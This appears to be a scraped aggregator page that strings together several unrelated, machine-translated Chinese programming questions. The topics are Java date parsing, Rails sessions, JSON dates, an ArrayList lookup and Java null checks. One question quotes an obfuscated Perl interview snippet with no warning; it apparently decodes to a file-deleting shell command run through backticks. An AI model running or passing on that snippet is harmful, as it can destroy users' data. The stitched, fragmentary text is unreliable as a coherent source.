我试图解析这个日期,SimpleDateFormat它不起作用:
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
public class Formaterclass {
public static void main(String[] args) throws ParseException{
String strDate = "Thu Jun 18 20:56:02 EDT 2009";
SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd");
Date dateStr = formatter.parse(strDate);
String formattedDate = formatter.format(dateStr);
System.out.println("yyyy-MM-dd date is ==>"+formattedDate);
Date date1 = formatter.parse(formattedDate);
formatter = new SimpleDateFormat("dd-MMM-yyyy");
formattedDate = formatter.format(date1);
System.out.println("dd-MMM-yyyy date is ==>"+formattedDate);
}
}
Run Code Online (Sandbox Code Playgroud)
如果我用strDate =尝试这个代码"2008-10-14",我有一个肯定的答案.有什么问题?我该如何解析这种格式?
PS.我从a获得了这个日期,jDatePicker没有关于如何修改用户选择日期时获得的日期格式的说明.
这是我的代码:
if session[:firsttimestart].nil?
else
@firsttime = false
end
if @firsttime == true
initglobals()
end
session[:firsttimestart]=false
Run Code Online (Sandbox Code Playgroud)
问题是当我关闭服务器并返回应用程序时,会话[:firsttimestart]仍为false.它以某种方式将此变量存储在我的系统中而没有到期日期,因此不会调用iniglobals().我试图使用rake tmp:clear但它没有用.每次重新启动服务器时,如何清除系统中正在使用的所有会话?
我正在实现一个Facebook应用程序并使用AJAX/JSON.
但是,返回的JSON结构具有此格式2010-05-30T06:14:00Z.
我打电话给Game.all.to_json控制器动作.
如何将它们转换为正常的日期格式?
使用fbjs从服务器端或客户端更容易吗?fbjs有很多bug .
所以我更喜欢使用Server sideusing(Active Records)的解决方案.就像在发送JSON结构之前转换数据一样.
我正试图找出ArrayList通过其Id编号搜索客户的最佳方式.以下代码无效; 编译器告诉我,我错过了一个return声明.
Customer findCustomerByid(int id){
boolean exist=false;
if(this.customers.isEmpty()) {
return null;
}
for(int i=0;i<this.customers.size();i++) {
if(this.customers.get(i).getId() == id) {
exist=true;
break;
}
if(exist) {
return this.customers.get(id);
} else {
return this.customers.get(id);
}
}
}
//the customer class is something like that
public class Customer {
//attributes
int id;
int tel;
String fname;
String lname;
String resgistrationDate;
}
Run Code Online (Sandbox Code Playgroud) 我正在使用ubuntu并想知道文件的创建时间,即使它被修改或访问?
我在之前的一次采访中得到了这个问题而无法做到,任何想法?
这是做什么的:
`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@%)=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++
;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`
Run Code Online (Sandbox Code Playgroud)我试图验证一个对象是否为null,我正在使用这种语法:
void renderSearch(Customer c){
System.out.println("search customer rendering>...");
try {
if(!c.equals(null)){
System.out.println("search customer found...");
}else{
System.out.println("search customer not found...");
}
} catch (Exception e) {
System.err.println ("search customer rendering error: "
+ e.getMessage()+"-"+e.getClass());
}
}
Run Code Online (Sandbox Code Playgroud)
我得到以下异常:
搜索客户渲染错误:null class java.lang.NullPointerException
我以为我正在用if和else循环来考虑这种可能性.任何帮助,将不胜感激.
我正在实施一个投注系统,每个用户都有一个余额,我如何使用activerecord方法找到用户的排名?谢谢你的帮助.